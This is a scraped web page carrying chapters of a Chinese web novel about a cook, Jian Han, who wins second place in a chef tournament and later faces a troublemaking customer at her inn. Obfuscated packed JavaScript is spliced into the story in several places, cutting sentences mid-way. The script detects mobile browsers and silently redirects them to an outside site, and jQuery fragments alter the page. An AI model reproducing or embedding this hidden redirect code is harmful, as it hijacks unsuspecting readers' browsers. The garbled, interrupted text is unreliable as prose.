孔暄带着几个穿着统一服饰、身形健壮的伙计分开人群走了过来。他对着被围在中间的简菡等人点了点头，示意伙计开路。 “简姑娘，请上马车吧。” 孔暄指了指旁边停着的一辆挂着金银楼标识的宽敞马车。 这简直是雪中送炭！ 简菡也顾不上多想，在伙计的护送下，和汪屿、雪翎赶紧钻进了马车。 “多谢孔大厨！”简菡坐稳后，对着孔暄真诚地点了点头。 孔暄微微一笑，并未多言，示意车夫可以走了。 车厢内的空气，在车门关上后，仿佛瞬间凝固住了。 简菡低头看着自己裙摆上绣着的小小缠枝花纹，恨不得脚趾能在车板上抠出个能逃离的洞，立刻钻进去逃离这尴尬的氛围。 天知道，她上次打败了人家，这次又被人家打败，现在还要靠人家解围，真是…… 车轮辘辘，快拐进汪仙楼所在的街角时，一直沉默看着窗外的汪屿忽然开口喊了声：“停车。” 他早就收到了墨无咎传来的信息，客栈门口挤满了好奇的百姓，他们走正门是进不去的。 马车停稳，简菡几人下了车。 她深深看了一眼车上的孔暄，再次对他浅鞠了一躬。 多谢！ 孔暄摆了摆手，马车便调头离开了。 七拐八拐地，汪屿带着他们走到了一处高墙下。 汪屿瞧了眼墙，又看了下简菡，说了句：“跟上。” 随后，他手在墙头一撑，长腿一迈，动作干净利落，毫不费力地就越过了面前的高墙，轻盈地跳了进去。 简菡怕雪翎也这么嗖地就进去，把她一个人丢在外头，赶紧抓住了雪翎的胳膊，声音不自觉地带上了点撒娇的意味：“雪翎姐姐~！” 她还特意拉长音调，将头在雪翎肩膀上蹭了蹭。 雪翎被她逗笑了，那双漂亮的凤眸弯起，反手摸摸她的头，语气宠溺：“好啦好啦，乖~。” 然而下一瞬，她话音还未落，就推开了简菡靠在她身上的身子。手臂就迅速揽住了简菡的腰，足尖在原地轻轻一点，身形便如一片轻盈的羽毛般腾空跃起，带着简菡稳稳地翻过了高墙。 “咦！” 简菡看着眼前熟悉的场景，忽然发现竟然是汪仙楼的后院！ “还有这个地方！” 她惊奇地看向身后那堵墙，原来厨房旁边连着那个厢房外侧的墙，通向的是这个方向啊！她以前都没注意过。 “好多人啊！累死我了！” 一个清脆的声音从头顶传来，只见甘芮直接化作了蜂鸟原型，扑闪着那双晶莹剔透的小翅膀飞了回来，落在院中的石桌上，又瞬间化为人形，拍着胸口，“累死我了！” 原本，这么个泼天的喜事，大家合该出去好好庆祝一番。 可眼下门口堵得水泄不通，别说出去吃饭了，连门都出不去，几人只能大眼瞪小眼。 咚！咚！咚！ 后院传来了重物落地的声音，还不止一声。 原以为是有胆大的百姓翻墙闯了进来，墨无咎和汪屿瞬间同步朝后院冲了过去。 然而，墙根下站着的，却是老熟人。 “怎么？不欢迎？” 苗澈拍了拍衣袍上并不存在的灰尘，挑眉看着如临大敌的两人。 他身后，跟着青梧等一干衔蝉苑的猫猫们，各个手里都拎着精致的食篮。 汪屿定定地看了苗澈几眼，什么也没说，侧过身子，靠在了旁边的廊柱上，算是默许了。 掌柜的都“同意”了，墨无咎便上前将这一群不请自来的猫猫们引了进去。 “哇塞！及时雨诶！” 甘芮和雪翎看着苗澈和他身后那群拎着食篮的猫猫，交换了一个意味深长的眼神，坏笑着用肩膀轻轻撞了一下简菡。 什么跟什么嘛！ 简菡被她们俩促狭打趣弄得脸颊微红，对于这两个热爱八卦的姑娘无奈地摇摇头。在心里默默吐槽：什么都磕，只会害了你们！ ========= 第三期厨神争霸赛主题公布那天，简菡连门都不敢出，最后还是甘芮飞出去帮她看的。 “风味逻辑”。 简菡听完甘芮的转述，眉头下意识就蹙了起来。 不同于前两期那种相对明确的主题指向，这种模棱两可的反而难以抓住关键。 而且，莫名其妙得了个第一后，她非但没有轻松，反而感觉压力倍增，心里更没了头绪。 火芽银丝的成功，多少有点运气成分，那还是她小时候看一部家庭情景喜剧，学着里边那个调皮又贪吃的二儿子，对着菜谱和视频，自己偷偷试了千百次，失败了多少豆芽和火腿才攒下的那点童子功。 这压箱底的本事提前被放了出来，她感觉肚子里那点存货快要见底了。 比赛当日，赛场上的选手果然又少了不少，显得更加空旷。 而简菡因为上次突出的成绩，位置瞬间来了个三级跳，垮到了第二排，与孔暄的灶台毗邻。 感受到旁边孔暄那边传来的沉稳气场，以及前方评委席上投来的目光，简菡紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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简菡只看了一眼，便收回了视线。 不是她没竞争精神，实在是和人家孔暄这种正儿八经、功底深厚的大厨比起来，她觉得自己顶多算个刚入门级的小卡拉米，能走到这一步，已经是意外之喜了。 此刻镇上的赌坊里，因为简菡在上一场的爆冷夺冠，她的身价被不少人看好，押她再次取胜的赌注一度被抬得很高。 然而，当第三场比赛的结果传来时，赌坊内顿时哀嚎一片。 第一名，依旧是孔暄。 他的龙井虾仁，以茶入馔，茶香清雅，虾仁鲜嫩弹牙，味道的构建清晰而富有诗意，将“风味逻辑”诠释得淋漓尽致，赢得了评委们的一致高分。 而简菡的番茄肥牛烩金针菇，虽然番茄的酸甜开胃，肥牛的鲜嫩多汁，金针菇的爽滑吸味，三者融合得恰到好处，味道温暖治愈，获得了不错的评价，但相较于孔暄那道无论是创意、技法还是风味层次都更胜一筹的龙井虾仁，终究还是略逊一筹，排在了一个中等的位置。 对于这个结果，简菡倒是很坦然。 她本来就没指望自己能一直赢下去，能见识到这么多高水平的菜品，她已经很满足了。 而且，不知为何，知道结果后，她心里反而松了一口气，那压得她喘不过气的包袱，似乎也轻了不少。 38. 黄芪山药炖乌鸡（配杂粮软糕）…… 最后一轮比赛的主题比以往推迟了两天才姗姗来迟地公布。 “人文需求”。 四个大字写在官府的告示上，端的是玄之又玄，引得围观群众议论纷纷。 简菡的名气如昙花一现般，热度降了不少。 虽然还有几个执着的闲人蹲守在汪仙楼门口，想瞧瞧这位打败过金银楼主厨的厨娘到底是什么样子，但好歹她能正常出门了。 比赛这天，天光熹微，五福镇尚带着未散的晨雾，青石板路上泛着湿润的光泽。 简菡跟众人顺利到达了场地时，还有选手没到。 最后一轮，只剩下五名选手。 金银楼的孔暄；厨神齐荼的两位师侄，乔谷与沈昼；醉仙居的周昉；以及她，汪仙楼的简菡。 好巧不巧，简菡的灶台竟然被安排在了第一排，又跟孔暄挨着。 今日的孔暄，一身孔雀蓝绣暗银云纹的圆领袍衫，衬得他面如冠玉，墨绿色的长发用一根玉簪松松挽起，最惹眼的还是他发间若隐若现的几根绚丽翎羽，以及那双顾盼生辉，自带三分傲气的眼。 他见到简菡，立刻扬起一个无可挑剔的友好笑容，露出雪白的牙齿。 简菡只能硬着头皮，扯了扯嘴角，回以一个干巴巴的笑。 “铛！” 铜锣敲响，决赛正式开始。 灶台间弥漫着一股无形的硝烟，连空气都仿佛凝滞了。 其余四人，都恨不得将全身解数使出来，切菜声、翻炒声不绝于耳。 唯有简菡，不紧不慢，仔细清点着手边的食材。 她今日要做的，是黄芪山药炖乌鸡，再配上一份杂粮软糕。 肥嫩的乌骨鸡被斩成适口大小。随后，将乌鸡块浸入冷水，加几片姜、一勺黄酒，点火焯去血沫。滚水翻腾间，她已利落地将黄芪、枸杞、红枣等物备好，动作行云流水。 另起一陶罐，注入清冽山泉水，将焯好洗净的乌鸡块放入，黄芪、姜片随之投入。大火烧沸，便转为文火，让陶罐只在边缘冒着细密的小泡，慢慢地煨着，这火候的掌控最是考验耐心。 趁着炖鸡的功夫，她开始准备杂粮软糕。 糯米粉、黍米面、少许豆面混合，加入碾碎的核桃仁、松子仁，以及切得细碎的红枣肉，再用温热的牛乳调和，慢慢搅成均匀粘稠的面糊，这步骤急不得。 面糊倒入垫了干净麻布的蒸笼，她便不再管它，转而去看顾那罐汤，时不时用长柄勺轻轻撇去浮沫。 时间一点点过去，乌鸡的鲜美与黄芪的药香、红枣的甘甜渐渐融合，形成一股温暖醇厚、直击灵魂的香气，从她的灶台弥漫开来，引得邻近几位选手都忍不住侧目，一探究竟。 当其他人的菜品还在紧锣密鼓地收尾时，简菡的黄芪山药炖乌鸡已经煨足了火候。 她掀开陶罐的盖子，一股更加浓郁鲜香的热气蒸腾而上，她小心地将切好的山药段放入，再撒入枸杞和盐调味。另一边，杂粮软糕也蒸好了，出锅后切成小巧的菱形块，米香与果仁香交织，金黄软糯，看着便令人食指大动。 未曾料到，她竟是第一个完成菜品的人，这倒让她自己都有些意外。 菜做一道，便端上去一道。 简菡的菜品很快被端到了评委席上，端放在评委们的面前。 那位白发老头先是舀了一勺汤，吹了吹，送入口中，细细品味。 他微微眯起了眼，那长长的白色眉毛似乎都舒展开来，露出惬意的神情。 “嗯……汤色清亮，入口却极醇。乌鸡的精华已尽数融于汤中，黄芪的药力化开，不带苦涩，只余甘润，与红枣的甜相得益彰。好一股温和敦厚之气，如春日暖阳，熨帖肺腑。” 边说，他还轻轻点着头。 金舌头师旖则更细致，用餐礼仪极为优雅。 他用白瓷勺轻轻拨开汤面上的油星，尝了一口汤，又夹起一块乌鸡肉，仔细端详。 鸡肉炖得恰到好处，用筷子一拨便骨肉分离，入口即化，令他眼中闪过惊喜。 “火候精准。肉质酥烂而不散，纤维间吸饱了汤汁的精华。山药软糯，吸收了肉汤与药香，自身清甜不减。妙！” “这汤，饮之不仅暖身，更觉安心定神，仿佛驱散了连日比赛的疲惫。这‘人文需求’，依我看，便是这食物对人身心最本真的关怀与慰藉。” 厨神齐荼仅尝了一口，没说话，但他紧接着又拿起了一块杂粮软糕，在指尖细细端详。 软糕口感丰富，微甜不腻，带着谷物和果仁的天然香气，与清淡滋补的汤品相配，堪称绝佳，令他眼中闪过讶异。 “返璞归真。”他淡淡地吐出四个字，眼中闪过一丝赞赏，“技巧内敛，心意凸显。不错。”这评价已是相当难得。 最终成绩，二甲三乙。 除了白发老头和师旖给了甲等，齐荼等人给了乙等，但这结果已相当亮眼。 简菡听完结果，心中一块大石落地，对着评委席深深鞠了一躬。 能进决赛已是意料之喜，这个结果她非常满意，连嘴角都不自觉扬起笑意。 乔谷、沈昼这两位厨神师侄，虽有光环加持，但过于追求技法和震撼效果，狠劲用错了地方，反而失去了厨师做菜的本心，偏离了“人文需求”的主题。 即使评委们要给齐荼面子，但他们的成绩甚至还不如醉仙居的周昉，这结果令人唏嘘。 周昉那道讲究意境、摆盘如画的“松间鹤影汤”，虽得白发老头青睐，却被师旖认为“曲高和寡”，齐荼则评价“匠气过重”，未能获得高分。 而孔暄的福禄寿喜养生煲，则真正做到了技惊四座，锁定了冠军。 他那道煲，用料极其考究，选取了象征“福”的鹿筋、“禄”的鲜鲍、“寿”的灵芝、“喜”的鸽蛋，辅以数十种珍贵菌菇和时蔬，用高汤慢炖而成，光是备料就花了两个时辰。 成品端上来时对色彩和美学的极致追求展现得淋漓尽致。 汤汁金黄油亮，食材摆放得如同精美的图案，异香扑鼻，令人未食先醉。 师旖品尝后，赞不绝口：“层次太丰富了！鹿筋软糯弹牙，鲍鱼鲜嫩爽滑，灵芝的微苦被高汤完美中和，只留余韵回甘。每一种食材的味道都清晰可辨，却又和谐地融于一炉。这不仅是美食，更是艺术品！而且，这‘福禄寿喜’的寓意，切合‘人文需求’中对美好生活的向往与祝福，可谓形神兼备！”他毫不吝啬赞美之词。 白发老头和齐荼也纷纷点头，给予了极高评价。最终，孔暄凭借四个甲等，毫无悬念地夺魁，实至名归。 简菡凭着两个甲等，竟然力压乔谷、沈昼和周昉，得了比赛的亚军！ 听着身后传来甘芮和雪翎兴奋的欢呼声，她这才回过神来，捏了捏自己的脸颊，确认不是在做梦。 嘶~疼！ 她竟然……这么厉害啊！这个认知让她心跳加速。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678782|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沉甸甸的牌子交到简菡手里，纯金的重量压得她手腕发酸，心里却像揣了个暖炉，热乎乎的，连眼眶都有些发热。 “小姑娘，厉害啊！”给她颁奖的老者笑呵呵地说道，眼中满是慈祥。 简菡抬头，看着眼前这位精神矍铄的老者，这才猛然想起为何觉得他眼熟。 是那次水禁事件，来汪仙楼吃饭的老者！ 她记得，他好像点的是条鱼，她做得……好像是茄汁鱼？ 简菡按耐住心里的激动，脸颊微红，羞赧地说了句：“谢谢老先生。” 从台上下来，简菡激动地就朝汪仙楼的一行人奔了过去。兴奋劲儿上头，她被自己左脚绊了下右脚，差点摔个狗啃地，幸好雪翎眼疾手快扶了她一把，引得周围一阵善意的笑声。 “今晚，我请客！” 简菡激动地一手抱住雪翎，一手抱住甘芮，在原地转了两个圈，裙裾飞扬如花。 眼前一晃，她好像在不远处的人群缝隙里，看到了那个江湖小报的撰笔人，毒蘑菇，正低头记录着什么。 庆功宴的地方，还是上次那家烟火气十足的烧烤店，熟悉的香味扑面而来。 但这次简菡财大气粗地要了个包间，没再敢在路边坐，毕竟今时不同往日。 没办法，她现在也算是五福镇餐饮界新晋的红人了！这点排场还是要的。 几杯果酒下肚，气氛更加热络，大家脸上都染着红晕。 烤得滋滋冒油的肉串、香气扑鼻的蔬菜卷、烤蜂蜜馒头片……七七八八摆满了桌子，丰盛得很。 “恭喜！”甘芮举起粗陶酒杯，跟简菡用力碰了一下，酒液都晃了出来，在烛光下闪着光。 她仰头饮尽，抹了把嘴，看着简菡，语气带着些许不易察觉的落寞，“过几天，我就要回去了。”声音忽然低沉下来。 “啊？！” 简菡嘴里含着的半口酒差点喷出来，硬生生咽下去，呛得她咳嗽了两声，眼泪都出来了，“怎么这么快啊……”语气里满是失落。 得奖的喜悦瞬间被这突如其来的消息冲淡了不少，心里空落落的，像缺了一块。 甘芮笑了笑，伸出手掌，轻轻摸了下简菡的脸颊，掌心温暖粗糙。 “在此之前，我总觉得做饭是一个很枯燥、很无聊的事情。日复一日，对着同样的食材，挥舞着同样的刀勺。即使我家的月满楼在京城那么名声赫赫，被多少达官贵人追捧，可我依旧不觉得那有什么了不起，不过是些精致的点心罢了。”她说着摇了摇头。 说到这，她自讽地笑了一下，眼神有些飘远，“可现在不一样了。”语气坚定起来。 她重新偏头看向简菡，眼神变得认真而明亮，仿佛有星光落入眼中。 “在你身上，我看到了厨师的意义。不仅仅是把食物做熟，做得好看，更是用心去感受食材，用味道去传递心意，去温暖别人。你看你，做个炖鸡，都能让人喝出‘安心’的味道来。我也想回去试试。就算我这粗手笨脚的，手艺接不了月满楼的班，但至少……也得学着管得住人，看得懂菜，对得起‘吃’这门学问不是？”这番话她说得格外郑重。 简菡听完，久久没说话，只是静静地看着对方，心中百感交集。 她举起重新斟满的酒杯，郑重地碰了下甘芮面前那支杯子，发出清脆的响声，在喧闹中格外清晰。 “你好像，不一样了。”简菡笑着说，眼眶有些发热，“真的。” 39. 鸡翅包饭 晌午的日头正烈，汪仙楼里却比外面的日头还热闹。 “客官，您的芹菜香干和肉末豆腐。”汪屿将菜稳稳当当放到八仙桌上，转身后去了一桌之隔的邻桌。 “客官，您的铁板鲶鱼。” 滚烫的铁板带着灼热的温度，鲶鱼在上头滋滋作响，焦香混着酱香直往鼻子里钻。 “小二，结账！” 靠近门口那桌客人举起了手。正在收拾桌子的墨无咎看见，赶紧将麻布搭在肩膀上，赶了过去。 “来了！” 他快步从狭窄的过道穿过，只一扫桌子上光溜溜的菜盘，便报出了一个数。 收好钱，他放进了柜台上的铜罐子里，拿下肩上的麻布，继续收拾着桌子。 “下一位，126号！” 门口，被喊道的客人应声而动，高高兴兴地走了进来。 自打简菡在厨神争霸赛上拿了个亚军，还打败过一次金银楼的孔暄，无人问津的汪仙楼一夜爆火，现在可谓是“人满为患”。 不仅需要提前预约，还得排号等位。 即使这样，五福镇的百姓还是纷纷慕名而来。 一向靠“狗血”、“夸张”风格出名的雀鸣，老老实实在《江湖小报》上将四期厨神争霸赛的真实情况报道出来，歪打误撞还收获了一大批读者的喜欢。 她的那几篇报道不仅在五福镇被广泛传阅，甚至蔓延到了周边的村子。有些外地游客都被吸引了过来。 这些人里，十个有九个都点名要吃简菡的夺冠之作——火芽银丝。 这道菜，是极其费工夫的。 光是将纤细的豆芽掏空就不是一件容易事，更别提还得将火腿严丝缝合地塞进去。 即使简菡为了避免让客人点单而挂出了天价，还是有不少财大气粗的老财愿意一掷千金。 为此，简菡以“远亲不如近邻”为借口，去对面的衔蝉苑找苗澈死皮赖脸磨了好久，才借来几只猫猫帮忙。 原本是指望，能让他们靠术法来解决复杂的工序，可才干了没两天，猫猫们就集体罢工，纷纷叫嚷着眼睛看不见了。 无奈，简菡只得将火芽银丝的菜牌子摘了下来，换了个平替——鸡翅包饭挂了上去。 此刻的后院厨房里，简菡忙得脚不沾地。 灶台的菜板边放着一个大陶盆，里边是密密麻麻堆起来的是她起大早提前处理好的鸡中翅。 指尖捏着鸡翅较细的一端，用剪刀尖轻轻挑开表皮，间断藏在肌理间的筋腱。随后，像是剥糖纸般，用筷子缓缓将鸡肉往另一端推卷，淡粉色的肉囊渐渐翻出，露出两根白净的骨头。 “咔哒”一声间断末端，完整的鸡翅口袋便处理完毕。 预先处理过的鸡翅表面的水分已经自然蒸发掉了，被腌料浸渍后，底味在就渗透进了肌理中。 泡过的糯米蒸熟后，拌入炒得油香四溢的腊肠丁、香菇丁与胡萝卜丁，再用一勺生抽调味后，便一直在灶上温着。 取出腌好的鸡翅，用小勺舀起馅料往口袋里填，填到八分满便停手，免得蒸烤时膨胀撑破外皮。 牙签交叉，将开口固定住，便移交给了身旁的雪翎。 没有烤箱，只能靠雪翎用术法在球状的结界里完成。 表皮渐渐泛出浅金，此时需要停下，刷上一层稀释过的蜂蜜水，然后再送进结界里复烤。 蜂蜜的甜香与肉香交织的气息，咬开时，外皮嫩得能吮到汁，腊肠的咸香和香菇的鲜气裹在糯米里，每一口都像咬到了烟火里的温柔。 “汪屿！鸡翅包饭上菜！” 简菡扯着嗓子，对悬在空中的铜铃喊了一句。 下一瞬，汪屿便赶了过来。他动作又快又稳，将简菡分装好的五盘鸡翅包饭利落地放在托盘上，端起便走。 大堂里，那位曾担任厨神争霸赛评委的白发老者今日又独自前来。他正慢条斯理地品着茶，见汪屿过来上菜，他微微颔首，便将目光落在了盘中的鸡翅包饭上。 鸡翅外皮煎得金黄酥脆，表面刷着的蜜色酱汁闪着诱人的油光，边缘处微微焦黄，饱满的形态隐隐透出内里五彩的馅料，煞是好看。 老者执起竹筷，小心地夹起一只。凑近细闻，一股混合了蜂蜜甜香与烤肉焦香的复杂气味便钻入鼻腔。 他轻轻咬下一口，那层煎得恰到好处的鸡皮破裂发出极轻微的“咔嚓”声。紧接着，丰沛的肉汁便涌入口中，混合着内部香菇和火腿的咸香。鸡翅肉质鲜嫩，火候掌控得极好，外皮的香脆与内里湿润的馅料形成绝妙对比，那炒饭吸饱了鸡翅的油脂与汁水，粒粒分明，滋味醇厚。 “不错！”老者忍不住赞叹，双眼惬意地眯成了一条缝。 去骨干净，腌制入味，外脆里嫩，馅料咸香适中，好！好啊！ 惬意的愉悦感让他的面容都舒展开来，他又慢条斯理地咬了一大口，细细品味着。 “小二！添水！” 门外临时搭建了个棚子，摆了几套桌椅来招呼散客，价钱比大堂低，但这现在也得是排号的。 刚收完钱走到柜台的墨无咎应了一声，立刻拎起手边的大茶壶冲了出去。 “来了！” 他赶到桌子边，却并未立刻倒水，而是将茶壶在空中熟练地摇晃了几下，令里边的果肉与茶水充分混合后，这才为客人斟满。 淡琥珀色的茶汤中，漂浮着细小的菠萝果粒与橙肉，一股清新甜润的果香弥漫开来，闻之便觉生津解渴。 客人端起杯子，饮下一大口。 酸甜适口的滋味瞬间抚平了等待的焦躁，菠萝的甜润与橙子的微酸在口中达成绝妙的平衡，在这闷热的中午后显得格外清爽。 在一片忙乱喧嚣之中，穆阳带着两名衙役出现在了门口。 看着那从门口一直排到街角拐弯的长队，几人度被吓了一跳。他们穿着公服正要往里走，却被排在最前头的一个彪形大汉拦了下来。 “大人，你们从二道贩子那买号了？” 那汉子捏着手里皱巴巴的号牌，仔细看了看。号码的边缘被他捏得发皱，可他还是壮着胆子，将穆阳等人扣了下来。 排号？ 穆阳摇摇头。他也不是来吃饭的，排什么号啊。 “那您还是去后边老实排着吧，”那壮汉瞬间有了底气，毫不退让，“我们这 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他话没说完，就被汪屿打断。他赶紧错开身，让出条道来，就见汪屿将托盘里最后一道辣子鸡给客人上完，又急急忙忙回了后院。 “嘿！” 穆阳叉腰嘶了一声，可丁点作用没有。 他余光中，瞧见了墨无咎在柜台附近，他又赶紧追了上去。 “墨无咎！麻烦你转告你家掌柜的，京城的狄大人……” 再一次，他话音还没断呢，对面的人已经去干别的了。 这一个两个的！都不拿他当回事是吧！ 他气得在原地转了一圈，可汪仙楼里的人各忙各的，还真都拿他当空气。 呵！ 穆阳抱着个胳膊，忽然被气笑了。 他追到了后院的厨房，屋里，做沸腾鱼正处于收尾的阶段。 烧好的热油泼在菜碗顶部的辣椒上，“滋啦”一声，辛辣的香气瞬间弥漫整个空间，油珠在青花瓷碗边沿跳跃，红亮的油面泛起细微的涟漪。 “嚯！咳咳咳咳！” 辛辣直冲鼻腔，呛得人眼眶发酸。穆阳毫无防备，直接弯腰猛咳。 “穆阳大人？” 他的声音惊动了屋里的雪翎和简菡。 简菡仅瞥了一眼，就对着铜铃喊：“汪屿！麻辣沸腾鱼上菜！” 汪屿赶过来来的时候，穆阳眼睛都咳红了。他坐在厨房边的门槛上，水汪汪的眼睛湿漉漉地看着他，活像个受了欺负的小媳妇儿。 “先别走！” 他赶紧伸手抓住汪屿的衣摆。 “狄大人让我给你传个口信。” 闻言，汪屿还真停了下来。他朝屋内扫了一眼，蹲在了穆阳旁边。 “狄大人让我转告你，务必一切小心。上次牵扯出来的五识散寻源追到了击石斋就断了。但他觉得定与20年前，你父母的案子有关，所以让你千万注意安全。” 漆黑的狼眸里闪过一次异样，他对着穆阳点点头，起身进了厨房继续上菜。 40. 鱼香肉丝 “客官，您的麻辣沸腾鱼。” 汪屿将菜平平稳稳地放在了客人的桌子上。 碗中，红艳艳的滚油仍在“滋啦滋啦”地持续沸腾，热浪翻滚间，花椒和干辣椒在其中奉献出源源不断的香气。这声响，这状态，与“沸腾”二字交相呼应。 浓郁霸道的麻辣香气，混合着炝炒后的糊辣焦香，如同无形的钩子，蛮横地钻进鼻腔，勾得人食指大动，口水不由自主地开始分泌。 透过那层热烈的红油，隐约可见底下雪白滑嫩的鱼片。 鱼片用的是无骨无刺的巴沙鱼，切得薄厚均匀，每一片都充分吸收了汤汁的精华，静静地卧在豆芽、莴笋片等配菜之上，白得耀眼，嫩得仿佛吹弹可破。 点菜的客人迫不及待地夹起一筷。那鱼片在筷尖微微颤动，挂着红亮的汤汁，显得格外诱人。他小心地吹了吹气，才送入口中。 鱼片入口的瞬间，先是滚烫，紧接着是花椒带来的微微麻痹感，然后辣椒的炽烈香气轰然炸开！ 巴沙鱼肉质极其嫩滑，几乎不需要咀嚼，便在舌尖化开，那鲜、香、麻、辣、烫，层次分明又交融一体，形成一股汹涌的味觉洪流，冲击着味蕾。豆芽和莴笋片清脆爽口，恰到好处地缓解了油腻，又增添了丰富的口感。 他吃得额头冒汗，嘴唇红肿，却依旧舍不得停下，一边嘶哈着吸气，一边含糊地赞叹：“过瘾！真他娘的过瘾！” 他连忙扒拉了几口米饭，米饭的香甜更是衬托出鱼味的鲜美，让他忍不住又伸出了筷子。 “人呢！人都死哪去了！” 靠近楼梯那一桌的客人，凶神恶煞地拍着桌子，震得碗筷乱跳。 汪屿恰好回后院拿菜，墨无咎在门外听见动静，赶忙走了进来。 “什么事？” 他瘫着一张脸，气场比闹事的客人还冷。 “你瞧瞧！你们这是什么菜！” 闻言，墨无咎顺着他手指的方向瞥了眼桌上的餐盘。 那盘子干净得像是被仔细舔过一般，空荡荡的，除了那残存丁点的油花，连配菜都没有，根本看不出是什么菜品。 “菜怎么了？您吃得这么干净，我瞧不出来是什么。” 闻言，闹事的那人脖子一梗，随即肉眼可见的开始爆红，但一张嘴还是不饶人的架势，声音又拔高了几分：“怎么？菜有问题！你们这是要不承认啊！” “发生什么了？” 汪屿从后院挤进来，手上还端着给别桌的热气腾腾的菜。 “闹事的。”墨无咎偏了下头，语气淡淡的。 汪屿视线在二人之间流转，见事情没那么紧急，有条不紊地先去给旁边那桌眼巴巴等着的客人上了菜，还没忘说了句“请慢用”，才不紧不慢地走过去。 “我是掌柜的，有什么跟我说。” 汪屿拍了拍墨无咎的肩膀，后者跟闹事的人对视一眼，随即便转身回了门外，继续手脚麻利地收拾外边桌子上的残羹冷炙，根本不担心大堂里的事情发展。 反正那小身板，再来十个都不是汪屿的对手。 “就你是掌柜的啊？” 闹事的人将汪屿从头到脚打量了一遍，目光在汪屿结实的臂膀上停留了片刻。 墨无咎身高已经很优越了，可汪屿还比他要高个小半头。 看着眼前的那堵“墙”，闹事之人咽了下口里的唾沫，喉结滚动，硬是梗着脖子继续找茬，只是声音比刚才小了一些，带着点外强中干的意味。 “还鱼香肉丝呢！鱼呢？怎么只有肉啊！”他指着空盘子，手指都有些发抖，不知是气的还是别的。 汪屿也顺势看了眼空空如也的盘子，那盘子干净得直反光，都能当镜子照了。 忽地，他冷笑了一声，那笑声不高，却带着十足的嘲讽。 “不满意，还将菜吃这么干净，怎么，吃霸王餐啊？” 他目光如炬，紧紧盯着对方。 这边的动静闹得不小，大堂里不少食客都停下了筷子，好奇地张望。 大堂里，正坐在楼梯上等着穆阳出来的原原本本目睹了一切。机灵的那个，用胳膊撞了一下旁边的同事，随后一路小跑地朝着后院冲了过去，将情况一五一十转述给了穆阳。 说来也巧，谈话声被在厨房里的简菡听了个正着。 一连在厨房做了这么多天的菜，简菡觉得自己满头满脸都是油烟，快成黄脸婆了。胳膊也因为长时间颠锅而有些酸软。 本来“上班”就烦，还有来找茬的？！ 噌的一下，一股心火从她的脚底板一路窜到了天灵盖。她二话不说，抄起手边的菜刀，蹬蹬蹬地就冲了出去。她那速度快得像一阵风，别说站在她身边的雪翎了，连在门口的穆阳都没能拦住她，反倒是追随着她一块儿来到了大堂。 “是谁在找事！”简菡声音不大，却带着十足的穿透力，瞬间吸引了所有人的目光。 她今日的打扮跟厨神大赛时很像，透着一股干练和专业。 头发用一根银簪子全部挽起，在头顶梳了个利落的发髻。汗巾紧紧包裹着发际线，避免做菜的过程中汗水会顺着脸滑进眼睛里。 她身上穿的是汪仙楼特别定制的“工作服”——全包款式的围裙，布料厚实，能尽可能地护住里边的衣服不被油污沾到。 她脖子上还挂着一条随时用来擦汗的包毛巾，柳眉倒竖，气势十足。 汪屿身量高，简菡一眼就瞧见了他，以及……他对面那个面色不善的食客。 即使雪翎和穆阳一左一右地拉着她的胳膊，试图让她冷静，她还是毫无阻力地冲了过去。她的眼神锐利，精准地锁定闹事之人后，目光像刀子一样在对方身上刮过。 那人长得倒也还算周正，就是眼神游移，透着一股心虚和狡黠，一看就心术不正。 简菡注意到他耳朵的形状跟“人”不太一样，耳廓边缘带着不规则的半透明薄膜，像是鱼鳍似的，在自然光下似乎还有点反光。而且，他脸颊与耳朵连接处，还有几片泛着光的鱼鳞。 莫非……是个鱼兽人？ “客官您好，我是本店的厨娘，有什么问题您可以跟我沟通。” 简菡尽力忍住心中的怒火，让自己的语气和善些，甚至还挤出了一个标准的“皮笑肉不笑”式笑容。 “你就是厨娘？” 那人将简菡从头到脚仔细打量了一番，目光在略过她手上那把菜刀时，停顿了一瞬。随后，他仔细瞧着简菡的脸，仿佛是确认了什么似的，语气又突然横了起来。 “呵！看看你做的什么菜！还鱼香肉丝呢，连鱼都没有！” 哈！ 简菡真是被气笑了，差点没忍住就翻个白眼。 且不说这道菜名字中的“鱼香”是模拟烹鱼的香味而来，并非真正含有鱼肉。就那盘子，干净得能照出人影，长了眼睛的都能瞧出他吃得有多“满意”！ “是这样的，”简菡将手里的菜刀举了起来，刀刃一抹森冷的寒光在他脸上闪过，“本店最注重食材的新鲜程度。既然您非要‘鸡蛋里挑骨头’，我看您倒像是自带了食材，不如……” 说着，她还拿菜刀上下虚空滑动了几下，目光像打量砧板上的肉一样在那人身上逡巡，最后落在他那带着鱼鳞的脸颊和鱼鳍状的耳朵上，“您看我在哪下刀，您比较满意呢？” 她语气轻柔，内容却让人不寒而栗。 那人被她这架势吓得猛地后退了半步，脸色瞬间白了一下，扯着嗓子尖声喊道，声音都变了调：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690147|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑店！你们这是黑店！报官，我要报官！” 他一边喊，一边眼神闪烁地看向门口，似乎是想找机会溜走。 